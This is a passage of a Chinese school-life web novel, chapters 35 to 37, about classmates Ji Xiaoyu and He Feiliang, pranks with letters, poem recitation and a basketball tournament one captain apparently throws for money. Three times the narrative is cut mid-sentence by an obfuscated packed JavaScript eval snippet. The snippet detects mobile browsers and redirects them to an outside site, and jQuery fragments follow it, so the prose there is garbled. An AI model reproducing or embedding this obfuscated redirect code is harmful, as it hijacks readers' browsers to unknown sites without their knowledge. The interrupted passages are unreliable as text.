“卓影,你是一个好人。” 再也说不出更多,纪小鱼背负着双手,沉默地望向今晚的月光。 今天的月亮真圆,可惜,可惜。 为求不败,我早已封心锁爱。 “好人”卓影的头上浮现出了许多小问号,求助地望向纪小鱼身后的何非亮。 何非亮淡淡地瞥了他一眼,目光慢悠悠地落在纪小鱼手中的信封之上。 哦~卓影恍然大悟,连忙解释道,“纪小鱼,你别误会!这些可不是我写给你的!我只是一个跑腿的!” 说罢,卓影又从挎包里掏出厚实的一沓,递给何非亮,“呐,这些是给何非亮的……” “两块钱买不了吃亏,买不了上当!”卓影热情地介绍着记者社新开发的业务,“但可以买到我们记者社的送信服务。专为社恐、懒癌、没时间人士打造,我们的宗旨是贴心、快捷、便利、使命必达。” “哦~”纪小鱼脸上露出如释重负的笑容,一边小心地把画满粉色爱心的信笺收好,一边尴尬地笑道,“原来如此,原来如此。” “咳,我也想体验一下这个送信服务,”纪小鱼真诚地眨了眨眼睛,“能便宜点吗?” 卓影愣了愣,“两块钱也要讲价?” 纪小鱼点点头,“要的。” “行吧,你想便宜多少?” “就……”纪小鱼竖起两根手指,“便宜两块吧。” 卓影膛目结舌,“大哥,还能你这么砍的啊!?” “你都叫我大哥了,就给个亲情价,抹个零呗。” 这逻辑乍一听还挺丝滑的,但—— 抹零?那能是从两块抹到零块吗!?还能这么用的吗? 卓影在风中凌乱了一会,脑海中突然闪过一道震惊的电流。 诶——?诶——?诶——!? 等一下,纪小鱼这是要写信给谁呀? 这……嘿嘿,说不定可以是一个大新闻呢! “可以啊可以啊,”卓影立即换上了一副既谄媚又八卦的笑脸,“不就是抹零吗?我这有笔、有纸,抹零,全部抹零!” 35.第三十五章 近墨者黑 纪小鱼抿了抿唇,目光在何非亮身上偷瞟了一眼,露出了神秘的微笑。 “咳,这事得保密,”纪小鱼扯过卓影,“我们到那边去说。” 鬼鬼祟祟、鬼鬼祟祟…… 两分钟后…… 纪小鱼和卓影并肩闪现回来。 纪小鱼仰着头四处张望,轻松地吹着口哨,一副心情很好、十分惬意的模样。 卓影则是从挎包中掏出了一个平平无奇的信封,递给何非亮,“喏,这个也是给你的,刚才、刚才忘了。” 何非亮接过,扫了两眼,松散的目光一顿,像是突然认真了起来。 信封上写道——“快打开!里面有惊喜哦!” 外加一个吐着舌头的鬼脸,“别犹豫了,你难道没有好奇心吗?” 唉,好奇心,多么危险的玩意。自古以来不知道害死了多少只猫,又让多少人明知道是陷阱…… 不过—— 呵呵。 “小鱼,”何非亮弯了弯眼,招呼道,“过来帮我个忙。” “哦,”纪小鱼揣着兜,大摇大摆地走上前,“什么忙啊?” “帮我打开这封信。” “不要!(⊙﹏⊙)”纪小鱼果断表示拒绝,“你自己的信你自己打开!” “这里写了,里面有惊喜哦,你不想知道吗?” “不想!” “你没有好奇心吗?” “没有!”纪小鱼连连摇头。 “可是……”何非亮一副要笑不笑的样子,“你说过会答应我一件事情哦。” “啊?有、有吗?” 一种不安的情绪在纪小鱼心中蔓延。 何非亮好整以暇地摸出手机,一副胜券在握的样子,“小鱼,你看看这是什么?” 手机屏幕上静音播放着一小段视频——视频里,街心公园的夜景安静地流淌,而纪小鱼坐在张校长的椅子上,放大的俊脸上有着邪魅的笑容。 死去的记忆化身成千军万马,在纪小鱼心头呼啸着奔腾。 何非亮眼角的余光浅扫过卓影,微笑道,“你应该不想让全校同学都知道吧?” 纪小鱼顿时冷汗涔涔。 “诶,什么东西啊?”卓影敏锐地嗅到了一丝不寻常的八卦气息,也想凑过来看。 “没什么,没什么!”纪小鱼慌忙挡住了卓影的视线,对着何非亮一通挤眉弄眼,“哎,和你说了多少遍,做人要低调!这不就是我的王者7-0超神的战绩吗,有什么好值得炫耀的,快收起来、收起来!” 谈判结束,大局已定,何非亮笑呵呵地把信封再次递了过去。 纪小鱼:“……” 风萧萧兮易水寒。 纪小鱼皱着脸拆开信封,近乎悲壮地抽出信纸,一副痛苦万分的神色。 痛——当然痛,搬起石头,砸到了自己的脚,能不痛吗? 苦——当然苦,明知道是毒药,还要自己喝掉,能不苦吗? 好气哦,明明是天衣无缝的计划,怎么就变成这样了呢??? 都怪何非亮太过奸诈、太过狡猾!!! 纪小鱼侧过脸,眼角含泪,不忍看信纸上的内容。 何非亮倒是饶有兴味地垂眼看去,果然,映入眼帘的是—— 一只好像被打过的猪; 一个箭头; 一行嚣张的小字——“打开这封信的人是猪!!!” 何非亮轻轻地笑了开来,“哎呀,这可糟糕了,纪小鱼要变成纪小猪了。” “胡、胡说八道!”纪小鱼明显很不愿意接受这样的事实。 诶?卓影眼睛一亮——“整人反被整,小鱼变小猪”,这个题材敢情好,写在校刊上又能大卖一笔啦! 哎呦,好多钱~好多钱~好多好多钱钱~ 卓影沉浸在发财的美梦之中,忍不住笑出声来。 “嗯?”纪小鱼目光一横,一道凉凉的风从卓影身上刮过。 卓影在突如其来的凉意间打了个哆嗦,回过神来,连忙压住嘴角止住笑,板正身体,认真表态道,“大哥,你千万别在意。俗话说,智者千虑,必有一失;愚者千虑,必有一得[1]……” 唉,愚者千虑,尚且必有一得…… 我纪小愚,啊呸,纪小鱼怎么就偏偏总是栽倒在何非亮身上呢? 嘿呀,急死我了! 何非亮这个心机男孩!!! “没关系,小鱼,我教你,”何非亮藏住眼底的促狭,一本正经地开口道,“你可以反弹回去,这样就是写这封信的人是小猪了。” “这……”纪小鱼为难地张了张嘴,有如哑巴吃黄连,有苦说不出。 “怎么了?”何非亮幽幽地问:“总不可能是你写的吧?” “呵呵、呵呵。”纪小鱼干巴巴地笑了几声。 正在头皮发麻间,突闻一声爆哭,只见吕天明如获至宝般地捧着一张便利贴跑来,显摆似地展示给大家看,“终于找到了!瞧,这张是夸我的!” 纪小鱼连忙撇开何非亮,往吕天明手中的便利贴上看去——这张便利贴几乎洋洋洒洒地写满了,热情地夸赞了吕天明运球漂亮、脚步稳健、上篮很准、防守极佳等诸多优点。 吕天明大受鼓舞,直呼——千里马常有,而伯乐不常有[2]!既遇伯乐,则更加需要再接再厉、再创辉煌! 另一边,蒋小胖也凑了过来,羡慕地围观完了吕天明手上的便利贴,目光又在窗户上来来回回认认真真地逡巡了一番,略带落寞地自语道,“哎呀,怎么没有夸我的呢?” 纪小鱼一愣。 “小胖,别急,再找找。我去那边帮你看看。” 一边找,纪小鱼一边想—— 这次比赛,小胖明明也很关键!如果不是他在第二节的时候,吸引了那么多F班的注意力,那自己也绝不会得分得的那么轻松! 而且,每次面对对方的进攻,蒋小胖都非常勇敢地挡在前面,认真努力地掩护、干扰、防守! 小胖明明是超强辅助! 要不让卓影帮我也……诶?卓影人呢?送别的信去了吗? 只好……. “小胖,快来看!”纪小鱼在一个不起眼的角落揭下来一张便利贴,眉开眼笑地递给蒋小胖,“这不是吗?” 蒋小胖惊喜地接过,低着头仔仔细细地读了半天,“呜呜呜,太感动了。就是这个字有点丑……” “啊?会……会吗?” 蒋小胖乐呵呵地一笑,“小鱼,就知道是你写的!” “不不不!”纪小鱼坚决和被说很丑的字划清界限,“不,这绝不是我写的!” 蒋小胖自信满满,“我抄了你那么多年的作业,能不知道吗?” 纪小鱼讪讪地摸了摸鼻梁。 怎么……这个字难道真的很丑吗?而且,还丑得很有个人风格吗? 不能啊,这明明是他苦练多年的左手字啊! “这……这个字真的很丑吗?”纪小鱼犹疑地开口问道。 “不丑,”蒋小胖眨了眨眼睛,“我就是试探一下。” “哇!小胖,你变了!” 纪小鱼痛心地想—— 近朱者赤,近墨者黑。淳朴的小胖一定是最近和何非亮走得太近,都学坏了! “谢谢你,小鱼。”蒋小胖轻轻地说。 …… F班。一封匿名信静静地躺在了陈典的桌上——“F班的F是Fighter的F,是不会被一次挫折给打败的,加油!” 陈典望向窗外,透过自己的影子,望进深远的夜色里。 心潮几度沉浮,陈典突然想起,曾经有个人也是这样,在他输掉比赛的时候总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009017|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是爱找一些“没关系,热爱不分输赢”、“没关系,下次再全力以赴就好了”这样的话,试图给他一些慰藉和缝补。 作为一名体育生,直面比赛的胜负排名,虽然还是不太容易,但越来越像是一件家常便饭的事了。只是,曾经那个会一直鼓励他的人,如今却和他越走越远。终究是回不去了。 正想着,手机突然收到一条消息。一个在通讯录里半死的人,突然给他发,“没关系,输给我是很正常的!” 靠!就说是回不去了吧! 这……瞧瞧,这都是从哪里学来的!简直嚣张得欠揍! …… 晚自习第二节下课铃声打响。 仿佛冲锋的号角响起,纪小鱼从座位上弹起,背着书包,脚踩火箭似的狂奔。 冲啊!回到家又能写题了!!! 哎呦……脚有点酸,好像踩到柠檬了。 哎呦,还有点软。 打了一整场篮球下来,终于有了点后知后觉的疲惫。 纪小鱼只好放慢了脚步。 回家的路既有枝繁叶茂、又有万家灯火。纪小鱼举目眺望,天空中有几点晚星摇曳,一轮圆月高悬——这大概是一个很美好的夜晚。 说起来,好像很久很久都没有好好欣赏过沿途的风景了。 唉,还记得不久前期中考试的语文阅读理解,就提到了说,阿尔卑斯山路上有一个标语牌,劝告游人“慢慢走,欣赏啊!” 可惜考试时间有限,并且还有点不够,他当时只能“快快写,没时间欣赏了”,被迫要一目十行、囫囵吞枣、“断章取义”、下笔如飞——那字,啧啧啧,写到后面都飘起来啰…… 好气哦,何非亮怎么就不会时间不够呢?印象里,他的字好像总是稳如泰山,一丝不苟、从容冷静地排列在答题卡的线上;横弯竖折,连笔锋都像是有讲究的——啧,游刃有余得像是对着答案在抄。 不行,今晚一定要卷语文!!! 不能输给何非亮! 学习,那是一个厚积薄发的过程!只要每天比何非亮多进步一点点,那么超过他不是指日可待吗? 啊哈哈哈哈哈! 靠着顽强的意志力,和对未来美好的憧憬,纪小鱼又加快了脚步。 “诶,小鱼?” 身后突然有人喊。 纪小鱼扭过头,像见鬼了一样瞪大了眼睛。 “何、何非亮?”滞涩的音节卡在喉间不上不下,纪小鱼哆哆嗦嗦地指着何非亮跨坐的巨物,艰难地开口问道,“这、这是什么?” 何非亮:“???” 这问题还真是把人问得一愣一愣的,饶是何非亮也缓了一会,才犹疑地开口回答道,“这……这是自行车啊,我新买的。” 纪小鱼:“……” “小鱼,你没事吧?”何非亮的目光逐渐变得关爱,“要不要我载你?” “不用了,”纪小鱼咬着牙,不失礼貌地微笑道,“谢谢。” “哦,那我先走了。” 何非亮踩着自行车扬长而去。 留下了在冷风中独自凌乱的纪小鱼。 救命!那何非亮岂不是会比我先到家!?比我先到家,他就可以比我先开始刷题……啊啊啊啊啊,如此一来,就是他每天比我多进步一点点了!!! 不!!! 纪小鱼的瞳孔中倒映出了对未来的恐惧。 【选项A:顾不了那么多了!】 【选项B:要不就算了……】 AAAAAAA!!!! “诶,你回来!”纪小鱼大喊道。 风里的那个身影潇洒地掉了个头,又骑了回来。 “怎么了?” 纪小鱼硬着头皮笑道,“载我,谢谢。” …… 立冬了,天气一天冷过一天。 36.第三十六章 拐弯抹角 “太阳还没照, 小鱼起床了, 唰唰唰,写题了, 写完一套数学真题了~ 跑去上学校, 天天不迟到, 何非亮,别得意, 总有一天我会超过你!” 嗯,又是平平无奇的一天。 但——不妨碍干劲满满! 当然,也有人姗姗来迟,继而昏昏欲睡,仿佛奄奄一息。 比如……纪小鱼轻睨了一眼趴在一旁,睡得像一只小猪的何非亮。 好气哦,这只小猪究竟是怎么考过我的??? 真是太不公平! …… 早读课的铃声终于打响,语文课代表带着大家草草读了几篇课文,便又到了自由朗读 + 同桌互背的环节了。 今天要背的诗是《上邪》,很短的一首。就算眼睛不是照相机,也一下子就记住了。 纪小鱼抬手戳了戳何非亮的胳膊。 “嗯?”何非亮懒懒地撩起眼皮,犯困的目光倒映着一片雾色的空蒙。 纪小鱼见何非亮醒了,张口就背,“上邪!我欲与君相知,长命无绝衰。山无陵,江水为竭,冬雷震震,夏雨雪,天地合,乃敢与君绝![1]” 何非亮弯了弯眼,眼里冷雾消散,缓缓地笑了开来。 偏他此时的眼尾不知是困的、还是被胳膊压的,染上了些许绯红的意味。 一笑间,恍惚如桃花,一时让人有点挪不开目光。 何非亮看着纪小鱼,点头道,“好的。” 哈? 好的??? 纪小鱼头上挂起一串小问号。 好啥好? 我背完了不是该轮到你了吗? 你倒是快背啊!在这里……笑啥? 纪小鱼觉得何非亮怕不是还在梦里——嗯,大概还是一个甜蜜蜜、美滋滋的好梦。 “到你了,”才不管那么多,纪小鱼催促道,“快背快背!一会我还有重要的事情要说呢!” 何非亮闻言,眼帘微垂,又是一笑,终于缓缓开口道,“上邪!我欲与君相知,长命无绝衰……” 声音不疾不徐,带着点刚睡醒的低沉。 他的语调一向都是淡淡的,不紧不慢地咬着字,字句间,清风入山林,凉月落芙蕖,幽篁潜林鹤,空山有弦音,弦外似有弦外音…… 好吧,倒是没有背错。 纪小鱼比了个“OK”的手势,清了清嗓子,正式宣布道,“我会背《孔雀东南飞》了!” 何非亮眼皮一跳,“这就是你说的重要的事情?” “嗯!我背给你听!”纪小鱼一副跃跃欲试的样子,“汉末建安中,庐江府小吏焦仲卿妻刘氏……[2]” “等等,”何非亮抬手阻止了他,“我想睡觉。” “不行,”纪小鱼板着脸,义正言辞道,“现在是同桌互背时间!” 何非亮:“……” “汉末建安中,庐江府小吏焦仲卿妻刘氏……[3]”纪小鱼又从头背了起来,声音像充满活力的喇叭一样,在何非亮的耳边不间断地“叭叭叭、叭叭叭”。 何非亮耷拉着眼皮,无可奈何——唉,这觉大概是睡不成了。 一直到语文早读课的下课铃声打响,纪小鱼才刚刚好背完。 “怎么样!”纪小鱼颇有点眉飞色舞的得意模样,“是不是一字不差?” 何非亮从纪小鱼书包的侧边袋拿出水壶,沿着桌面推了过去,毫不犹豫地又陷入了昏睡。 纪小鱼不客气地猛灌了一口水,“你应该要说,大佬喝茶!咳咳咳咳……” 咳咳,被水给呛到了(ˉ▽ˉ;)... …… 一晃就到了第四节课。 当当当当!是体育课! 今天倒是不用使出什么“偷梁换柱”的小技俩。夏老师代表S中生物科组开教研大会去了,实在是分身乏术,只能宣布明天考试,以考促学。 明日愁来明日忧,同学们欢欢笑笑地涌向操场。 纪小鱼却有点打不起精神,神色恹恹地吊在大部队的最后,路上还心不在焉地踢飞了一颗小石子。 “哎呦!谁啊,这么没有公德心!” 小石子飞射的轨道上传来一声叫骂。 纪小鱼连忙缩到何非亮身后,探出半颗脑袋张望。 诶,那不是高二B班的张朝吗? 张朝也正朝他们这个方向看过来,目光逐渐聚焦在了何非亮的身上,整个人如临大敌似的一僵,连带着略显怒气的神情也立马变得平静了起来。 “呵,”等何非亮走近,张朝半带不屑、半带讥诮地一笑,“我说谁那么缺德呢?原来是你!” “呵呵,”何非亮也是一笑,“我说谁那么倒霉呢,原来是你。” “你!” 空气间充满了剑拔弩张的气息。 “Hi~”纪小鱼尴尬地从何非亮的身后冒了出来,摇了摇手,和张朝打了个招呼。 “呃……这不是纪兄吗?”看见了纪小鱼,张朝这才面色稍霁。 纪小鱼把张朝拉到一旁,心虚地劝道,“别打架,别打架!我们班的同学都在这儿呢,而且大部分都是何非亮的粉丝。唉,你这个,打起来,没有胜算的。” “纪兄说得是。”张朝惆怅了一会,感慨道,“只是这踢臀之辱,实在是难以忍受。” “呃,这个……”纪小鱼愈加心虚地摸了摸鼻尖,“倒也不必如此计较……我想,他肯定不是故意的。” “他是故意的。”张朝嘴角浮起一点扭曲的笑,“我了解他,他一向是这样,表面一套,背后一套,人前光明磊落,人后居心叵测。就和那颗拐弯抹角的石头一样,总是以刁钻阴险的姿态,从背后阴人……” “张兄,”纪小鱼擦了把额角沁出的冷汗,“你误会了……” “怎么?我原以为世人皆醉你我独醒,”张朝的目光突然一凉,“难不成……你也被何非亮迷住了?” “这、这怎么可能呢!”纪小鱼连连摆手,“如果是这样,那我刚才就不会说我们班‘大部分’都是何非亮的粉丝了,而是‘全部’都是何非亮的粉丝了!” 这话说的有几分道理,细听之下还有两分失意、三分自嘲、和五分心酸。张朝眼里的戒备逐渐松懈下来。 纪小鱼连忙趁机转移话题,“诶,你怎么跑操场上来了?今天不是你们班体育课吧?” 如果没记错的话——纪小鱼望向操场对角乌泱泱的另一班人马,今天似乎是A班和E班一起上体育课啊! “哦,”张朝漫不经心地开口道,“这不下午轮到我们班打了吗?我来看看场地。” 哦,对哦!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013108|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 按照赛程,A班在昨天已经出线,而今天下午会有一场B班对E班,明天下午会有一场C班对D班。出线的三个班会比较得分,得分差值(胜方得分-败方得分)最高的直接进入决赛。没能直接晋级的其余两个班则需要在本周四再进行一场对决,胜方进入周五的决赛,而败方则会在决赛结束后,也就是下周一,与决赛的败方角逐亚军和季军。 整个篮球班赛的完整比赛时间只有短短一整个星期。可以说,每一场都是十分重要的了。 “加油!”纪小鱼认真地拍了拍张朝的肩膀——毫无疑问,B班今天将面临着一场严峻的挑战。 那边,体育老师已经在吹口哨了。 纪小鱼匆匆与张朝道了别,一路小跑回班级的队伍。 张朝看着纪小鱼的背影,眼眸中闪过一丝不易察觉的挣扎,“罢了,到时候再说吧……” …… 扭扭脖子、压压腿……做完一系列准备运动以后,体育老师爽快地大手一挥,便任由小同学们自由活动了。 吕天明从器材室抱着篮球开开心心地跑来,看到在树荫下写着数学作业的纪小鱼,愣了愣,发自内心地赞道,“好兄弟,你牛逼,见缝插针写作业,争分夺秒你第一!” 纪小鱼的笑容却有些讪讪。 昨天晚上回家挨训的场景……唉,还历历在目! 事情是这样子的。当时,肚子有点饿,夜宵有点好吃,吃着吃着,人就和血糖一起飘了,忍不住就和妈妈夸耀起了自己在球场上的丰功伟绩。 唉,妈妈的笑容那是越听越挂不住。 当意识到不对的时候,为时已晚,只能连忙找何非亮当挡箭牌,说他也参加了,打得还不赖,只比自己差一点。 但这次不管用了。妈妈直接从座位上站了起来,穿过狭小拥挤的客厅,一把拉开了家里浅灰色的窗帘—— 窗外是明亮气派的灯,它们在夜色里一盏一盏地,堆砌出了璀璨繁华的人间胜景,一直堆砌到了望不见的天际。 是既高且贵的摩天大楼,是即使在寸土寸金的S市里也当之无愧的地标豪宅。 它超然独立地矗立着,骄傲而冷漠,和脚边上了年岁的小矮楼近在咫尺,却界限分明。 “纪小鱼,”妈妈的目光中倒映着窗外的灯火,“你自己看看,我们家有那个条件吗?” “妈——古人云,安得广厦千万间,大庇天下寒士俱欢颜[4]。我们家已经有一个遮风挡雨的屋檐了,又何必……” 但妈妈就好像没有听见一样,继续着她的输出,“不是不给你玩,你自己想想,现在是什么时候了?你已经高二了!等你高考完了,你想打多久都不管你!你半夜出去打也不拦你……” 唉,这话也不是不能反驳。但当看见妈妈脸上那复杂难言又焦虑疲惫的神情时,瞬间就只剩下缴械投降的份了。 沉默了一会以后,只好妥协,“哦,我知道了。” …… 事到如今——真是让人为难! “嗯?”何非亮不知道什么时候也凑了过来,点了点纪小鱼作业本上的选择题第一题,“小鱼,你这题写错了。” 啊,不是吧??? 呃……还真的写错了啊! 纪小鱼的额头上挂下三条黑线,连忙把错的答案改正过来,却听到耳边传来似有若无的“啧啧”声。 37.第三十七章 美丽黄昏 一抬头,就看见何非亮一副要笑不笑的欠扁模样,“小鱼,这道题都会错啊?” 错? 纪小鱼严肃地纠正道,“这是笔误!” “哦~笔误啊!”何非亮一副了然的模样,说完,又好像漫不经心地自言自语道,“那还是你上一次的笔误更好玩一点……” “上一次的笔误?”纪小鱼有些迷茫。 下一秒他会后悔问出这个问题。 “你不记得了吗?”何非亮故作惊讶道,“上次的政治考试,你不就把‘中国人民银行’写成‘中国人民很行’了吗?” 在周遭同学努力憋笑的呼气声中,纪小鱼额头上的黑线瞬间裂变成了三百条。 啊啊啊啊啊,何非亮真是太过分了!!! 这种事情怎么能在大庭广众之下说出来嘛! 真是气死我了! 纪小鱼羞愤地把数学作业本赛回书包。 “何非亮,你是不是想打架!” “呵呵,打球就好。” “行!”纪小鱼一把从吕天明手中夺过篮球,“我这就把你打成一个球!” …… 嗐……妈,你看我这样子也没法好好学……今晚一定补上! 纪小鱼在心里飞快地和妈妈道了个歉。 篮球场上再次响起了欢声笑语。 - 下午五点半,篮球场上人声鼎沸,并且…… 一片哗然! “不会吧,这球都能投成这样?” “一顿操作猛如虎,最后离网二米五!” “还以为E班传说中秒天秒地的林神有多厉害呢?就这?” …… E班的当家选手林寂今天似乎手感不太妙—— 第一节不温不火;第二节无功无过。硬要说的话,就是运气有点不太好,几个投球都险险地擦着篮筐飞过,令E班同学扼腕不已。但没关系,B班的总体实力毕竟还是差着E班一截。上半场E班比分一直稳定领先,林寂打不起精神,想划划水,也是情理之中。 第三节开始,林寂的表现就有点让人大跌眼镜了。投出去的球直接没和篮筐沾上边,浪费了好几次绝佳的进攻机会不说,这会干脆直接把球投向了对手的怀抱,白送了对手一个篮底得分……就像是故意给B班放水似的。 起初,还以为这是一种“礼貌性放水”,只是林寂演技太差;直到后来,此起彼落,E班的比分由盛转衰,逐渐有了难以挽回的颓势,E班自家的球员才有点不淡定了。 “呃……队长这是嫌比赛不够刺激,想打有点挑战性的逆风翻盘局吗?” “那现在的分差是不是有点大了?也该认真起来了吧?” “我咋觉得咱队长有点不太对劲?是不是……不舒服啊?” …… “队长,”第四节进行了小半,E班的小前锋终于为难地开口,“你要不要先休息一下?” 林寂抿着唇望向篮筐,目光灰暗深静,沉默了一会,低低地“嗯”了一声。 “抱歉。” 说完,他竟是径直穿过了层叠的观众,头也不回地离开了球场。 E班的同学瞠目咋舌,B班的同学则是幸灾乐祸。 “诶,还真是输不起~” “这是——打不过就跑路了?” …… 这天气真是说不准,上午还是阳光正好,下午就变成了一个凉凉的阴天。 初冬的阳光既不温和也不热烈,但若是偶然被云层遮挡,整个世界便立马显露出冷意。 微凉的风拂过,纪小鱼站在嘻笑的人群中,莫名有些伤感。 林寂远去的背影看着并不狼狈,一点也不像是战败后仓促的落荒而逃,反倒像是一场预谋已久的谢幕、处心积虑的退场。 他还是像以前那样挺直着脊背,只是比印象里多了一种空空如也的孤独。 纪小鱼奇怪道,“我记得林寂初中的时候打球可牛逼了,咋今天打成这样了呢?” 林寂是纪小鱼的初中班上的体育课代表,黝黑、精瘦,在教室里他沉默寡言,但在球场上他不动则已、一动惊人,身手格外犀利,眼睛里好像藏着一头狼。 三年前,纪小鱼陪着班主任,去过他家家访。 林寂家的地址在一个城中村里。 穿过一个牌坊似的门楼,一路上的景象对纪小鱼来说称得上是新奇。 纪小鱼好奇地东瞧瞧、西看看—— 方一进来时宽阔的道路骤然缩窄,然而窄窄的小街小巷里竟然别有洞天地藏得下许多五花八门的小摊小店。 复前行,曲折的小巷尽头骤然开阔,一棵大榕树下,四个老头老太打麻将,十几个老头老太围观……哎呦,这怕不是个王者局。 又经过一条小道,杂乱的电线在头顶编织成网,还有人在上面晾内衣内裤,看着真是太危险了。 手机的导航在这样的地方似乎不太好使。四处打听,才终于到了林寂家楼下——一栋夹缝里灰扑扑的小楼。 林寂家在六楼,没电梯。班主任才上了几步楼梯就开始有点喘,一边擦汗一边还开玩笑,“难怪林寂体育那么好,这每天都得一口气爬好几趟六楼呢。” 但门一打开,班主任就笑不出来了。 屋内杂乱的陈设一览无余,一叠一叠的纸壳箱板堆满了小半个屋子,空气里混杂着浑浊的油墨和冲鼻的中药味。 林寂尴尬地杵在门边,“老师,我爸妈不在。” 来是来家访了,但林寂家里只有一个中风瘫痪说不出话的爷爷,和一个更小的孩子——板寸头,丁点高,正盘着腿坐在地上,一边吸溜着一碗素面,一边睁着圆溜溜的眼睛,好奇又戒备地看着家里来的客人。 中国人讲究来都来了。班主任一声轻咳,没话找话说,“林寂啊,你作业写完了吗?最近学习上有没有遇见什么困难啊?” “……写完了。” “哥哥,你骗人!”小屁孩献宝似呈上来一张白雪似的卷子,“老师,他没有写完作业!” 班主任:“……” 纪小鱼:“……” 林寂:“……” “老师,这就是我学习上遇见的困难,”林寂按住“叛徒”的肩膀,冷漠道,“帮我解决掉她吧。” “啊,不要啊!” “叛徒”一声惊叫,吓跑了。 林寂微微一笑。 纪小鱼心里偷偷地想,原来林寂同学也会有这么幽默、这么温柔的一面啊。 可能每个人心里都有一个特别的人,有他在的世界就会特别的美好。 回去的路上,班主任和纪小鱼一合计,决定星期一下午的班会课就举行一期“美食文化节”活动。 嗯……时间上如果是下周那就太刻意了,所以定在下个月;哦,对了,再加一个在线抽奖活动,一等奖是一个快乐草莓蛋糕兑换券;抽奖活动的转盘由纪小鱼制作,就——内定让林寂同学得一等奖吧。 他们不知道的是,那天下午班会课结束以后,一直到很晚,大家都回家了,林寂也没有走。 暮色四合,一个人的教室里,他打开电脑,打开PPT上的抽奖链接,一遍又一遍地按键转动着那个转盘—— 果然,每一遍中奖的名字都是他。 意料之中,命运不曾眷顾他。 又似乎是人生之喜,有人这样为他,精心策划了一个美丽的黄昏。 …… 又是黄昏。 篮球赛还在继续。 林寂趴在教学楼高处的栏杆,肃然不笑地远眺向球场的方位,那里骚动、喧嚣、吵闹、终随着一寸一寸暗下去的天色归于宁静。 夜幕降临,戏已散场,胜负已分。 老人说,“立冬有雨一冬寒。”昨晚凌晨两三点时淅淅沥沥下了一场雨,可不到天亮就晴了。但愿今年冬天不要那么冷。 等了一会,拐角处的阴影终于如约传来脚步声。 林寂侧头,看见来人脸上的笑容,就知道一切都按照计划那样——E班输了,而且输得还不少。 自己还真是一个……混蛋的队长。 “你不要用这样的眼神看着我,”来人似乎有些不满,“我明明是来帮你的。” “……抱歉。”林寂低垂下眼,敛去了目光中无关紧要的情绪,“我想到别的事情了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025925|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说得没错,他的确是那个站在高处、伸出援手的人。 而自己甚至完全、完全没有资格说一声“各取所需罢了”这样的话——在这场交易里,毫无疑问,自己才是更在乎的那一个,在乎得不得了,在乎得发狂,在乎到辗转反侧、求遍神佛……尊严算什么?冷眼算什么?自己算什么? “喏,这是给你的尾款。” 林寂接过。 “那我们就两清了。”来人像不愿意再在这里多耽误时间,给完东西就有要走的意思。转身离开预要下楼的时候,脚步忽而一顿,还是回过头来,说了一声,“祝令妹早日康复。” - 队长离场后,E班的队员像被抽掉了主心骨似的,滑向了一蹶不振的深渊,比赛的结果最终以原本完全不被看好的B班大胜20分轰轰烈烈地收场。 连续两场比赛的结果都颇有些出人意料。在这样的衬托下,周三下午C班对阵D班的比赛便显得格外的中规中矩了——双方有来有往,比分一度不相上下、焦灼难分,最终C班以两球之差憾负D班。 至此,周四下午的赛程也再没了悬念。 高二A班 VS 高二D班! 【赛事速递 | 震惊!A班和D班就要打起来了!快来pick你最喜欢的打手!】 收到新消息提示,纪小鱼低头一看手机——哦豁,记者社公众号的最新推文这就发出来了,真是神速啊! 最喜欢的打手? 嘿嘿! “小胖、小胖!”纪小鱼急匆匆地拿着手机凑上去,眉开眼笑道,“快快快,pick我、pick我!” “啊呀!这个啊……这个我刚才也看到了!可是……阿唷!哎呀……这个……” 蒋小胖一番话说的吞吞吐吐的,纪小鱼心中一凛,顿时有了不详的预感。 果然,蒋小胖面露为难之色道,“可是一人只能投一票耶……我、我刚才已经投给学神哥哥了。” 纪小鱼:“……” “对不起呀小鱼,”蒋小胖眨着无辜的眼睛,解释道,“因为学神哥哥的照片放在第一个——天啊,实在是太帅了!我一看到就忍不住投了,都还没来得及往下翻……” “好吧,”纪小鱼有点委屈,但还是说,“没关系。” 低头刷新了一下手机页面。 才不到五分钟,何非亮的票数就隐隐有了一骑绝尘、碾压众人的趋势。而纪小鱼的票数,悲伤地稳居第二,像那些年淋过的雨。 嘿呀,好不服气哦!上一场比赛,明明我才是那个超级厉害、打遍全场的得分手好吗? 而且!而且——何非亮这张照片到底哪里帅了?连脸都看不清! 只是一个跳起来投球的背影罢了。 如果不是夕阳恰好金红一片,明暗错落、光影交织,让抓拍下来的这一幕宛如一幅上好的剪影,有了那么一点点点点点点惊鸿一瞥的意味…… 